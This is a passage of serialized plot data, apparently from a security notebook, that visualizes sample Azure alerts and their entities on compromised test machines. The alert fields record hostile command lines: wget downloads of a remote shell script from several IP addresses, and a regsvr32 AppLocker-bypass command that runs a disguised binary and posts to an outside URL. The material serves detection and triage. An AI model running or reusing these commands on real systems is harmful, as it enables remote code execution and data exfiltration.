'resourceType': 'Virtual Machine', 'ServiceId': '14fa08c7-c48e-4c18-950c-8148024b4398', 'ReportingSystem': 'Azure', 'OccuringDatacenter': 'eastus'}\",null,null,null,\"{'domain name': 'MSTICAlertsWin1', 'user name': 'MSTICALERTSWIN1\\\\\\\\MSTICAdmin', 'process name': 'c:\\\\\\\\windows\\\\\\\\fonts\\\\\\\\conhost.exe', 'command line': 'c:\\\\\\\\windows\\\\\\\\fonts\\\\\\\\conhost.exe  zip archive.mdb', 'parent process': 'rundll32.exe', 'process id': '0x119c', 'account logon id': '0x78225e', 'User SID': 'S-1-5-21-996632719-2361334927-4038480536-500', 'parent process id': '0x12b0', 'System Process': 'CONHOST.EXE', 'resourceType': 'Virtual Machine', 'ServiceId': '14fa08c7-c48e-4c18-950c-8148024b4398', 'ReportingSystem': 'Azure', 'OccuringDatacenter': 'eastus'}\",null,null,null,null,null,null,\"{'Compromised Host': 'MSTICALERTSWIN1', 'User Name': 'MSTICALERTSWIN1\\\\\\\\MSTICAdmin', 'Account Session Id': '0x78225e', 'Suspicious Process': 'c:\\\\\\\\w!ndows\\\\\\\\system32\\\\\\\\regsvr32.exe', 'Suspicious Command Line': '.\\\\\\\\regsvr32  /u /s c:\\\\\\\\windows\\\\\\\\fonts\\\\\\\\csrss.exe \\\"http://www.401k.com/upload?pass=34592389\\\" post', 'Parent Process': 'c:\\\\\\\\windows\\\\\\\\system32\\\\\\\\cmd.exe', 'Suspicious Process Id': '0x1150', 'resourceType': 'Virtual Machine', 'ServiceId': '14fa08c7-c48e-4c18-950c-8148024b4398', 'ReportingSystem': 'Azure', 'OccuringDatacenter': 'eastus'}\",null,null,null,null,\"{'isincident': 'true', 'Detected Time (UTC)': '2019-02-14 05:19:13 UTC', 'Incident Stage': 'attacked other resources from', 'Compromised Host': 'MSTICALERTSWIN1', 'Start Time (UTC)': '2019-02-12 11:48:01 UTC', 'crossvm': 'false', 'resourceType': 'Virtual Machine', 'ServiceId': '14fa08c7-c48e-4c18-950c-8148024b4398', 'ReportingSystem': 'Azure', 'OccuringDatacenter': 'eastus'}\",null],\"Address\":[null,\"23.97.60.214\",null,null,\"203.0.113.1\",\"104.211.30.1\",null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null],\"AlertDisplayName\":[\"SSH Anomalous Login ML\",null,null,null,null,null,\"Detected suspicious file download\",null,null,null,null,null,\"Possible suspicious scheduling tasks access detected\",null,null,\"Security incident detected\",null,\"Suspicious Activity Detected\",null,null,null,\"Suspicious system process executed\",null,null,null,null,null,null,\"Potential attempt to bypass AppLocker detected\",null,null,null,null,\"Security incident with shared process detected\",null],\"AlertType\":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,\"SCUBA_RULE_Lowering_Security_Settings\",null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null],\"AzureID\":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,\"/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/providers/Microsoft.Compute/virtualMachines/MSTICAlertsWin1\",null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null],\"CommandLine\":[null,null,null,null,null,null,null,null,null,null,\"wget http://13.67.35.176/QuZYpObins.sh -t 3 -T 5\",\"wget http://131.107.147.81/QuZYpObins.sh -t 3 -T 5\",null,null,\"/usr/bin/vim.basic /tmp/crontab.UQ6iiQ/crontab\",null,null,null,null,null,\"wget http://131.107.147.81/QuZYpObins.sh -t 3 -T 5\",null,null,null,null,null,null,\"c:\\\\windows\\\\fonts\\\\conhost.exe  zip archive.mdb\",null,null,null,null,\".\\\\regsvr32  /u /s c:\\\\windows\\\\fonts\\\\csrss.exe \\\"http://www.401k.com/upload?pass=34592389\\\" post\",null,\"wget http://23.97.60.214/QuZYpObins.sh -t 3 -T 5\"],\"CompromisedEntity\":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,\"MSTICALERTSWIN1\",null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null],\"ConfidenceLevel\":[\"Unknown\",null,null,null,null,null,\"Unknown\",null,null,null,null,null,\"Unknown\",null,null,\"Unknown\",null,\"Unknown\",null,null,null,\"Unknown\",null,null,null,null,null,null,\"Unknown\",null,null,null,null,\"Unknown\",null],\"ConfidenceScore\":[\"nan\",null,null,null,null,null,\"nan\",null,null,null,null,null,\"nan\",null,null,\"nan\",null,\"nan\",null,null,null,\"nan\",null,null,null,null,null,null,\"nan\",null,null,null,null,\"nan\",null],\"Count\":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,\"2\",null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null],\"CreationTimeUtc\":[null,null,null,null,null,null,null,null,\"0001-01-01 00:00:00\",null,\"2019-02-16T03:23:54.29Z\",\"2019-02-15T03:50:55.923Z\",null,null,\"2019-02-15T04:03:22.173Z\",null,null,null,null,null,\"2019-02-15T19:43:49.39Z\",null,null,null,\"0001-01-01 00:00:00\",null,null,\"2019-02-14T11:51:38.4888669Z\",null,null,\"0001-01-01 00:00:00\",null,\"2019-02-14T11:51:38.5072586Z\",null,\"2019-02-18T15:29:22.207Z\"],\"Description\":[null,\"23.97.60.214\",\"MSTICAlertsLxVM2 (OSFamily.Windows)\",\"MSTICALERTSLXVM2\\\\dbadmin\",\"203.0.113.1\",\"104.211.30.1\",null,\"MSTICALERTSLXVM2: session: 0x2fdcd\",\"Process\",\"/usr/bin/wget\",\"/usr/bin/wget: wget http://13.67.35.176/QuZYpObins.sh -t 3 -T 5\",\"/usr/bin/wget: wget http://131.107.147.81/QuZYpObins.sh -t 3 -T 5\",null,\"/usr/bin/vim.basic\",\"/usr/bin/vim.basic: /usr/bin/vim.basic /tmp/crontab.UQ6iiQ/crontab\",null,null,null,\"msticalertswin1 (OSFamily.Windows)\",\"msticalertswin1\\\\ian\",\"/usr/bin/wget: wget http://131.107.147.81/QuZYpObins.sh -t 3 -T 5\",null,\"MSTICALERTSWIN1: session: 0x78225e\",\"c:\\\\w!ndows\\\\system32\\\\rundll32.exe\",\"c:\\\\w!ndows\\\\system32\\\\rundll32.exe: \",\"MSTICAlertsWin1\\\\MSTICAdmin\",\"c:\\\\windows\\\\fonts\\\\conhost.exe\",\"c:\\\\windows\\\\fonts\\\\conhost.exe: c:\\\\windows\\\\fonts\\\\conhost.exe  zip archive.mdb\",null,\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe: \",\"c:\\\\w!ndows\\\\system32\\\\regsvr32.exe\",\"c:\\\\w!ndows\\\\system32\\\\regsvr32.exe: .\\\\regsvr32  /u /s c:\\\\windows\\\\fonts\\\\csrss.exe \\\"http://www.401k.com/upload?pass=34592389\\\" post\",null,\"/usr/bin/wget: wget http://23.97.60.214/QuZYpObins.sh -t 3 -T 5\"],\"Directory\":[null,null,null,null,null,null,null,null,null,\"/usr/bin\",null,null,null,\"/usr/bin\",null,null,null,null,null,null,null,null,null,\"c:\\\\w!ndows\\\\system32\",null,null,\"c:\\\\windows\\\\fonts\",null,null,\"c:\\\\windows\\\\system32\",null,\"c:\\\\w!ndows\\\\system32\",null,null,null],\"ElevationToken\":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,\"Default\",null,null,null,null,\"Default\",null,null],\"EndTimeUtc\":[\"2019-02-18 16:44:21\",null,null,null,null,null,\"2019-02-18 15:29:22\",\"2019-02-18T15:29:22.207Z\",null,null,null,null,\"2019-02-15 04:03:22\",null,null,\"2019-02-14 11:51:38\",\"2019-02-13T23:07:24.3075781Z\",\"2019-02-15 19:55:10\",null,null,null,\"2019-02-14 11:51:38\",\"2019-02-14T11:51:38.5072586Z\",null,null,null,null,null,\"2019-02-14 11:51:38\",null,null,null,null,\"2019-02-13 23:07:24\",null],\"ExtendedProperties\":[\"{\\r\\n  \\\"Alert Mode\\\": \\\"Aggregated\\\",\\r\\n  \\\"Search Query\\\": \\\"{\\\\\\\"detailBladeInputs\\\\\\\":{\\\\\\\"id\\\\\\\":\\\\\\\"/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourcegroups/asihuntomsworkspacerg/providers/microsoft.operationalinsights/workspaces/asihuntomsworkspacev4\\\\\\\",\\\\\\\"parameters\\\\\\\":{\\\\\\\"q\\\\\\\":\\\\\\\"SSHAlertDataV2_CL\\\\\\\\n| extend AccountCustomEntity = Account_s\\\\\\\\n| extend HostCustomEntity = Host_s\\\\\\\\n| extend IPCustomEntity = IPAddress\\\\\\\",\\\\\\\"timeInterval\\\\\\\":{\\\\\\\"intervalDuration\\\\\\\":300,\\\\\\\"intervalEnd\\\\\\\":\\\\\\\"2019-02-18T16%3A44%3A21.000Z\\\\\\\"}}},\\\\\\\"detailBlade\\\\\\\":\\\\\\\"SearchBlade\\\\\\\",\\\\\\\"displayValue\\\\\\\":\\\\\\\"SSHAlertDataV2_CL\\\\\\\\n| extend AccountCustomEntity = Account_s\\\\\\\\n| extend HostCustomEntity = Host_s\\\\\\\\n| extend IPCustomEntity = IPAddress\\\\\\\",\\\\\\\"extension\\\\\\\":\\\\\\\"Microsoft_OperationsManagementSuite_Workspace\\\\\\\",\\\\\\\"kind\\\\\\\":\\\\\\\"OpenBlade\\\\\\\"}\\\",\\r\\n  \\\"Search Query Results Overall Count\\\": \\\"1\\\",\\r\\n  \\\"Threshold Operator\\\": \\\"Greater Than\\\",\\r\\n  \\\"Threshold Value\\\": \\\"0\\\",\\r\\n  \\\"Query Interval in Minutes\\\": \\\"5\\\",\\r\\n  \\\"Suppression in Minutes\\\": \\\"0\\\",\\r\\n  \\\"Total Account Entities\\\": \\\"1\\\",\\r\\n  \\\"Total Host Entities\\\": \\\"1\\\",\\r\\n  \\\"Total IP Entities\\\": \\\"1\\\"\\r\\n}\",null,null,null,null,null,\"{\\r\\n  \\\"Compromised Host\\\": \\\"MSTICALERTSLXVM2\\\",\\r\\n  \\\"User Name\\\": \\\"dbadmin\\\",\\r\\n  \\\"Account Session Id\\\": \\\"0x2fdcd\\\",\\r\\n  \\\"Suspicious Process\\\": \\\"/usr/bin/wget\\\",\\r\\n  \\\"Suspicious Command Line\\\": \\\"wget http://23.97.60.214/QuZYpObins.sh -t 3 -T 5\\\",\\r\\n  \\\"Suspicious Process Id\\\": \\\"0x61a7\\\",\\r\\n  \\\"resourceType\\\": \\\"Virtual Machine\\\",\\r\\n  \\\"ServiceId\\\": \\\"14fa08c7-c48e-4c18-950c-8148024b4398\\\",\\r\\n  \\\"ReportingSystem\\\": \\\"Azure\\\",\\r\\n  \\\"OccuringDatacenter\\\": \\\"eastus\\\"\\r\\n}\",null,null,null,null,null,\"{\\r\\n  \\\"Compromised Host\\\": \\\"MSTICALERTSLXVM2\\\",\\r\\n  \\\"User Name\\\": \\\"dbadmin\\\",\\r\\n  \\\"Account Session Id\\\": \\\"0x2e093\\\",\\r\\n  \\\"Suspicious Process\\\": \\\"/usr/bin/vim.basic\\\",\\r\\n  \\\"Suspicious Command Line\\\": \\\"/usr/bin/vim.basic /tmp/crontab.UQ6iiQ/crontab\\\",\\r\\n  \\\"Suspicious Process Id\\\": \\\"0x51b3\\\",\\r\\n  \\\"resourceType\\\": \\\"Virtual Machine\\\",\\r\\n  \\\"ServiceId\\\": \\\"14fa08c7-c48e-4c18-950c-8148024b4398\\\",\\r\\n  \\\"ReportingSystem\\\": \\\"Azure\\\",\\r\\n  \\\"OccuringDatacenter\\\": \\\"eastus\\\"\\r\\n}\",null,null,\"{\\r\\n  \\\"isincident\\\": \\\"true\\\",\\r\\n  \\\"Detected Time (UTC)\\\": \\\"2019-02-14 18:03:23 UTC\\\",\\r\\n  \\\"Incident Stage\\\": \\\"abused resource in\\\",\\r\\n  \\\"Compromised Host\\\": \\\"MSTICALERTSWIN1\\\",\\r\\n  \\\"Start Time (UTC)\\\": \\\"2019-02-14 11:51:38 UTC\\\",\\r\\n  \\\"crossvm\\\": \\\"false\\\",\\r\\n  \\\"resourceType\\\": \\\"Virtual Machine\\\",\\r\\n  \\\"ServiceId\\\": \\\"14fa08c7-c48e-4c18-950c-8148024b4398\\\",\\r\\n  \\\"ReportingSystem\\\": \\\"Azure\\\",\\r\\n  \\\"OccuringDatacenter\\\": \\\"eastus\\\"\\r\\n}\",null,\"{\\r\\n  \\\"Machine Name\\\": \\\"MSTICAlertsWin1\\\",\\r\\n  \\\"Command List\\\": \\\"FTP session was established.\\\\nPING command was executed.\\\\nNew user was created.\\\\nAdministrators group members enumeration.\\\\nNew user was added to the Administrators group.\\\\nNew scheduled task was created.\\\",\\r\\n  \\\"Account List\\\": \\\"MSTICALERTSWIN1\\\\\\\\ian\\\",\\r\\n  \\\"compromised host\\\": \\\"MSTICAlertsWin1\\\",\\r\\n  \\\"End Time UTC\\\": \\\"02/15/2019 19:55:11\\\",\\r\\n  \\\"ActionTaken\\\": \\\"Detected\\\",\\r\\n  \\\"resourceType\\\": \\\"Virtual Machine\\\",\\r\\n  \\\"ServiceId\\\": \\\"14fa08c7-c48e-4c18-950c-8148024b4398\\\",\\r\\n  \\\"ReportingSystem\\\": \\\"Azure\\\",\\r\\n  \\\"OccuringDatacenter\\\": \\\"eastus\\\"\\r\\n}\",null,null,null,\"{\\r\\n  \\\"domain name\\\": \\\"MSTICAlertsWin1\\\",\\r\\n  \\\"user name\\\": \\\"MSTICALERTSWIN1\\\\\\\\MSTICAdmin\\\",\\r\\n  \\\"process name\\\": \\\"c:\\\\\\\\windows\\\\\\\\fonts\\\\\\\\conhost.exe\\\",\\r\\n  \\\"command line\\\": \\\"c:\\\\\\\\windows\\\\\\\\fonts\\\\\\\\conhost.exe  zip archive.mdb\\\",\\r\\n  \\\"parent process\\\": \\\"rundll32.exe\\\",\\r\\n  \\\"process id\\\": \\\"0x119c\\\",\\r\\n  \\\"account logon id\\\": \\\"0x78225e\\\",\\r\\n  \\\"User SID\\\": \\\"S-1-5-21-996632719-2361334927-4038480536-500\\\",\\r\\n  \\\"parent process id\\\": \\\"0x12b0\\\",\\r\\n  \\\"System Process\\\": \\\"CONHOST.EXE\\\",\\r\\n  \\\"resourceType\\\": \\\"Virtual Machine\\\",\\r\\n  \\\"ServiceId\\\": \\\"14fa08c7-c48e-4c18-950c-8148024b4398\\\",\\r\\n  \\\"ReportingSystem\\\": \\\"Azure\\\",\\r\\n  \\\"OccuringDatacenter\\\": \\\"eastus\\\"\\r\\n}\",null,null,null,null,null,null,\"{\\r\\n  \\\"Compromised Host\\\": \\\"MSTICALERTSWIN1\\\",\\r\\n  \\\"User Name\\\": \\\"MSTICALERTSWIN1\\\\\\\\MSTICAdmin\\\",\\r\\n  \\\"Account Session Id\\\": \\\"0x78225e\\\",\\r\\n  \\\"Suspicious Process\\\": \\\"c:\\\\\\\\w!ndows\\\\\\\\system32\\\\\\\\regsvr32.exe\\\",\\r\\n  \\\"Suspicious Command Line\\\": \\\".\\\\\\\\regsvr32  /u /s c:\\\\\\\\windows\\\\\\\\fonts\\\\\\\\csrss.exe \\\\\\\"http://www.401k.com/upload?pass=34592389\\\\\\\" post\\\",\\r\\n  \\\"Parent Process\\\": \\\"c:\\\\\\\\windows\\\\\\\\system32\\\\\\\\cmd.exe\\\",\\r\\n  \\\"Suspicious Process Id\\\": \\\"0x1150\\\",\\r\\n  \\\"resourceType\\\": \\\"Virtual Machine\\\",\\r\\n  \\\"ServiceId\\\": \\\"14fa08c7-c48e-4c18-950c-8148024b4398\\\",\\r\\n  \\\"ReportingSystem\\\": \\\"Azure\\\",\\r\\n  \\\"OccuringDatacenter\\\": \\\"eastus\\\"\\r\\n}\",null,null,null,null,\"{\\r\\n  \\\"isincident\\\": \\\"true\\\",\\r\\n  \\\"Detected Time (UTC)\\\": \\\"2019-02-14 05:19:13 UTC\\\",\\r\\n  \\\"Incident Stage\\\": \\\"attacked other resources from\\\",\\r\\n  \\\"Compromised Host\\\": \\\"MSTICALERTSWIN1\\\",\\r\\n  \\\"Start Time (UTC)\\\": \\\"2019-02-12 11:48:01 UTC\\\",\\r\\n  \\\"crossvm\\\": \\\"false\\\",\\r\\n  \\\"resourceType\\\": \\\"Virtual Machine\\\",\\r\\n  \\\"ServiceId\\\": \\\"14fa08c7-c48e-4c18-950c-8148024b4398\\\",\\r\\n  \\\"ReportingSystem\\\": \\\"Azure\\\",\\r\\n  \\\"OccuringDatacenter\\\": \\\"eastus\\\"\\r\\n}\",null],\"FullPath\":[null,null,null,null,null,null,null,null,null,\"/usr/bin/wget\",null,null,null,\"/usr/bin/vim.basic\",null,null,null,null,null,null,null,null,null,\"c:\\\\w!ndows\\\\system32\\\\rundll32.exe\",null,null,\"c:\\\\windows\\\\fonts\\\\conhost.exe\",null,null,\"c:\\\\windows\\\\system32\\\\cmd.exe\",null,\"c:\\\\w!ndows\\\\system32\\\\regsvr32.exe\",null,null,null],\"HostName\":[null,null,\"MSTICAlertsLxVM2\",null,null,null,null,\"MSTICALERTSLXVM2\",null,null,null,null,null,null,null,null,null,null,\"msticalertswin1\",null,null,null,\"MSTICALERTSWIN1\",null,null,null,null,null,null,null,null,null,null,null,null],\"IsIncident\":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,\"True\",null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,\"True\",null],\"LogonId\":[null,null,null,\"0x2fdcd\",null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,\"0x78225e\",null,null,null,null,null,null,null,null,null],\"NTDomain\":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,\"msticalertswin1\",null,null,null,null,null,\"MSTICAlertsWin1\",null,null,null,null,null,null,null,null,null],\"Name\":[\"Alert: SSH Anomalous Login ML\",\"23.97.60.214\",\"MSTICAlertsLxVM2\",\"dbadmin\",\"203.0.113.1\",\"104.211.30.1\",\"Alert: Detected suspicious file download\",\"MSTICALERTSLXVM2\",\"Process\",\"wget\",\"wget[pid:0x4e55]\",\"wget[pid:0x4cd2]\",\"Alert: Possible suspicious scheduling tasks access detected\",\"vim.basic\",\"vim.basic[pid:0x51b3]\",\"Alert: Security incident detected\",\"Alert: None\",\"Alert: Suspicious Activity Detected\",\"msticalertswin1\",\"ian\",\"wget[pid:0x28c4]\",\"Alert: Suspicious system process executed\",\"MSTICALERTSWIN1\",\"rundll32.exe\",\"rundll32.exe[pid:0x12b0]\",\"MSTICAdmin\",\"conhost.exe\",\"conhost.exe[pid:0x119c]\",\"Alert: Potential attempt to bypass AppLocker detected\",\"cmd.exe\",\"cmd.exe[pid:0x12f4]\",\"regsvr32.exe\",\"regsvr32.exe[pid:0x1150]\",\"Alert: Security incident with shared process detected\",\"wget[pid:0x61a7]\"],\"NetBiosName\":[null,null,null,null,null,null,null,\"MSTICALERTSLXVM2\",null,null,null,null,null,null,null,null,null,null,null,null,null,null,\"MSTICALERTSWIN1\",null,null,null,null,null,null,null,null,null,null,null,null],\"OMSAgentID\":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null],\"OSFamily\":[null,null,\"OSFamily.Windows\",null,null,null,null,\"OSFamily.Linux\",null,\"OSFamily.Windows\",null,null,null,\"OSFamily.Windows\",null,null,null,null,\"OSFamily.Windows\",null,null,null,\"OSFamily.Windows\",\"OSFamily.Windows\",null,null,\"OSFamily.Windows\",null,null,\"OSFamily.Windows\",null,\"OSFamily.Windows\",null,null,null],\"PathSeparator\":[null,null,null,null,null,null,null,null,null,\"\\\\\",null,null,null,\"\\\\\",null,null,null,null,null,null,null,null,null,\"\\\\\",null,null,\"\\\\\",null,null,\"\\\\\",null,\"\\\\\",null,null,null],\"ProcessId\":[null,null,null,null,null,null,null,null,\"0x61a1\",null,\"0x4e55\",\"0x4cd2\",null,null,\"0x51b3\",null,null,null,null,null,\"0x28c4\",null,null,null,\"0x12b0\",null,null,\"0x119c\",null,null,\"0x12f4\",null,\"0x1150\",null,\"0x61a7\"],\"ProcessingEndTime\":[\"2019-02-18 16:44:26\",null,null,null,null,null,\"2019-02-18 15:29:29\",null,null,null,null,null,\"2019-02-15 04:03:30\",null,null,\"2019-02-14 18:03:23\",null,\"2019-02-15 20:27:38\",null,null,null,\"2019-02-14 11:52:07\",null,null,null,null,null,null,\"2019-02-14 11:52:07\",null,null,null,null,\"2019-02-14 05:19:13\",null],\"ProviderName\":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,\"Detection\",null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null],\"RemediationSteps\":[null,null,null,null,null,null,\"[\\r\\n  \\\"Review with dbadmin that the command identified in the alert was legitimate activity that you expect to see on MSTICALERTSLXVM2. If not, escalate the alert to the information security team.\\\"\\r\\n]\",null,null,null,null,null,\"[\\r\\n  \\\"Review with dbadmin the activity in this alert to see if you recognize this as legitimate administrative activity. If not, escalate the alert to the information security team.\\\"\\r\\n]\",null,null,\"[\\r\\n  \\\"1. Escalate the alert to the information security team.\\\",\\r\\n  \\\"2. Review the remediation steps of each one of the alerts\\\"\\r\\n]\",null,\"[\\r\\n  \\\"Review each of the individual line items in this alert to see if you recognise them as legitimate administrative activity.\\\"\\r\\n]\",null,null,null,\"[\\r\\n  \\\"1. Run Process Explorer and try to identify unknown running processes (see https://technet.microsoft.com/en-us/sysinternals/bb896653.aspx)\\\",\\r\\n  \\\"2. Make sure the machine is completely updated and has an updated anti-malware application installed\\\",\\r\\n  \\\"3. Run a full anti-malware scan and verify that the threat was removed\\\",\\r\\n  \\\"4. Install and run Microsoft\\u2019s Malicious Software Removal Tool (see https://www.microsoft.com/en-us/download/malicious-software-removal-tool-details.aspx)\\\",\\r\\n  \\\"5. Run Microsoft\\u2019s Autoruns utility and try to identify unknown applications that are configured to run at login (see https://technet.microsoft.com/en-us/sysinternals/bb963902.aspx)\\\"\\r\\n]\",null,null,null,null,null,null,\"[\\r\\n  \\\"Review with MSTICALERTSWIN1\\\\\\\\MSTICAdmin the suspicious command line in this alert to see if you recognise this as legitimate activity that you expect to see on MSTICALERTSWIN1. If not, escalate the alert to the information security team.\\\"\\r\\n]\",null,null,null,null,\"[\\r\\n  \\\"1. Escalate the alert to the information security team.\\\",\\r\\n  \\\"2. Review the remediation steps of each one of the alerts\\\"\\r\\n]\",null],\"SessionId\":[null,null,null,null,null,null,null,\"0x2fdcd\",null,null,null,null,null,null,null,null,null,null,null,null,null,null,\"0x78225e\",null,null,null,null,null,null,null,null,null,null,null,null],\"Severity\":[\"Low\",null,null,null,null,null,\"Low\",null,null,null,null,null,\"Informational\",null,null,\"High\",\"Medium\",\"Medium\",null,null,null,\"Medium\",null,null,null,null,null,null,\"High\",null,null,null,null,\"High\",null],\"Sid\":[null,null,null,\"1001:1001\",null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,\"S-1-5-21-996632719-2361334927-4038480536-500\",null,null,null,null,null,null,null,null,null],\"StartTimeUtc\":[\"2019-02-18 16:39:21\",null,null,null,null,null,\"2019-02-18 15:29:22\",\"2019-02-18T15:29:22.207Z\",null,null,null,null,\"2019-02-15 04:03:22\",null,null,\"2019-02-14 11:51:38\",\"2019-02-13T23:07:24.3075781Z\",\"2019-02-15 19:55:10\",null,null,null,\"2019-02-14 11:51:38\",\"2019-02-14T11:51:38.5072586Z\",null,null,null,null,null,\"2019-02-14 11:51:38\",null,null,null,null,\"2019-02-12 11:48:01\",null],\"SystemAlertId\":[\"932a6e3c-7747-4e89-8159-c597868089bb\",null,null,null,null,null,\"2518517970377929999_6ed51e72-6170-4f28-b551-9b7b49936c4c\",null,null,null,null,null,\"2518520973978269999_57b6af71-984e-45f3-9aac-d6bbd79eed07\",null,null,\"2518521557015111330_79f27254-e85f-4471-a061-3ea99b824495\",null,\"2518520402897969999_b946cd89-667e-4ce7-b571-9603859a7234\",null,null,null,\"2518521557015111330_65a3fe73-0832-427a-aab3-06edc2c27f0a\",null,null,null,null,null,null,\"2518521557014927413_daa18e53-ab1d-4d7d-8c4f-bcb86f75fd5f\",null,null,null,null,\"2518523287189999999_1f19db0b-3d5b-4f7b-b91f-5e994ba4bde5\",null],\"SystemAlertIds\":[\"932a6e3c-7747-4e89-8159-c597868089bb\",null,null,null,null,null,\"2518517970377929999_6ed51e72-6170-4f28-b551-9b7b49936c4c\",null,null,null,null,null,\"2518520973978269999_57b6af71-984e-45f3-9aac-d6bbd79eed07\",null,null,\"2518521557015111330_79f27254-e85f-4471-a061-3ea99b824495\",null,\"2518520402897969999_b946cd89-667e-4ce7-b571-9603859a7234\",null,null,null,\"2518521557015111330_65a3fe73-0832-427a-aab3-06edc2c27f0a\",null,null,null,null,null,null,\"2518521557014927413_daa18e53-ab1d-4d7d-8c4f-bcb86f75fd5f\",null,null,null,null,\"2518523287189999999_1f19db0b-3d5b-4f7b-b91f-5e994ba4bde5\",null],\"TimeGenerated\":[\"2019-02-18 16:44:26\",\"2022-04-20 01:31:07.382241\",\"2022-04-20 01:31:07.382241\",\"2022-04-20 01:31:07.384243\",\"2022-04-20 01:31:07.333276\",\"2022-04-20 01:31:07.328242\",\"2019-02-18 15:29:28\",\"2022-04-20 01:31:07.384243\",\"2022-04-20 01:31:07.384243\",\"2022-04-20 01:31:07.384243\",\"2022-04-20 01:31:07.249242\",\"2022-04-20 01:31:07.266244\",\"2019-02-15 04:03:30\",\"2022-04-20 01:31:07.282240\",\"2022-04-20 01:31:07.282240\",\"2019-02-14 18:03:23\",\"2022-04-20 01:31:07.379241\",\"2019-02-15 20:27:38\",\"2022-04-20 01:31:07.297298\",\"2022-04-20 01:31:07.297298\",\"2022-04-20 01:31:07.300275\",\"2019-02-14 11:52:06\",\"2022-04-20 01:31:07.361240\",\"2022-04-20 01:31:07.341250\",\"2022-04-20 01:31:07.342247\",\"2022-04-20 01:31:07.360240\",\"2022-04-20 01:31:07.342247\",\"2022-04-20 01:31:07.342247\",\"2019-02-14 11:52:06\",\"2022-04-20 01:31:07.360240\",\"2022-04-20 01:31:07.361240\",\"2022-04-20 01:31:07.360240\",\"2022-04-20 01:31:07.360240\",\"2019-02-14 05:19:13\",\"2022-04-20 01:31:07.384243\"],\"Type\":[\"alerts\",\"ip\",\"host\",\"account\",\"ip\",\"ip\",\"alerts\",\"host-logon-session\",\"process\",\"file\",\"process\",\"process\",\"alerts\",\"file\",\"process\",\"alerts\",\"alerts\",\"alerts\",\"host\",\"account\",\"process\",\"alerts\",\"host-logon-session\",\"file\",\"process\",\"account\",\"file\",\"process\",\"alerts\",\"file\",\"process\",\"file\",\"process\",\"alerts\",\"process\"],\"VendorName\":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,\"Microsoft\",null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null],\"index\":[\"Alert: SSH Anomalous Login ML\",\"23.97.60.214\",\"MSTICAlertsLxVM2\",\"dbadmin\",\"203.0.113.1\",\"104.211.30.1\",\"Alert: Detected suspicious file download\",\"MSTICALERTSLXVM2\",\"Process\",\"wget\",\"wget[pid:0x4e55]\",\"wget[pid:0x4cd2]\",\"Alert: Possible suspicious scheduling tasks access detected\",\"vim.basic\",\"vim.basic[pid:0x51b3]\",\"Alert: Security incident detected\",\"Alert: None\",\"Alert: Suspicious Activity Detected\",\"msticalertswin1\",\"ian\",\"wget[pid:0x28c4]\",\"Alert: Suspicious system process executed\",\"MSTICALERTSWIN1\",\"rundll32.exe\",\"rundll32.exe[pid:0x12b0]\",\"MSTICAdmin\",\"conhost.exe\",\"conhost.exe[pid:0x119c]\",\"Alert: Potential attempt to bypass AppLocker detected\",\"cmd.exe\",\"cmd.exe[pid:0x12f4]\",\"regsvr32.exe\",\"regsvr32.exe[pid:0x1150]\",\"Alert: Security incident with shared process detected\",\"wget[pid:0x61a7]\"],\"node_color\":[\"orange\",\"green\",\"green\",\"green\",\"green\",\"green\",\"orange\",\"green\",\"green\",\"green\",\"green\",\"green\",\"orange\",\"green\",\"green\",\"orange\",\"orange\",\"orange\",\"green\",\"green\",\"green\",\"orange\",\"green\",\"green\",\"green\",\"green\",\"green\",\"green\",\"orange\",\"green\",\"green\",\"green\",\"green\",\"orange\",\"green\"]},\"selected\":{\"id\":\"1108\"},\"selection_policy\":{\"id\":\"1107\"}},\"id\":\"1041\",\"type\":\"ColumnDataSource\"},{\"attributes\":{},\"id\":\"1020\",\"type\":\"BasicTicker\"},{\"attributes\":{},\"id\":\"1028\",\"type\":\"HelpTool\"},{\"attributes\":{},\"id\":\"1099\",\"type\":\"NodesOnly\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"23.97.60.214\",\"text_font_size\":\"10pt\",\"x\":0.5555234691228415,\"x_offset\":5,\"y\":-0.9413626856933295,\"y_offset\":5},\"id\":\"1055\",\"type\":\"Label\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"regsvr32.exe\",\"text_font_size\":\"10pt\",\"x\":-0.723288953199134,\"x_offset\":5,\"y\":0.8997437608611638,\"y_offset\":5},\"id\":\"1085\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"1016\",\"type\":\"BasicTicker\"},{\"attributes\":{},\"id\":\"1013\",\"type\":\"LinearScale\"},{\"attributes\":{},\"id\":\"1044\",\"type\":\"MultiLine\"},{\"attributes\":{},\"id\":\"1027\",\"type\":\"ResetTool\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Alert: Security incident with shared process 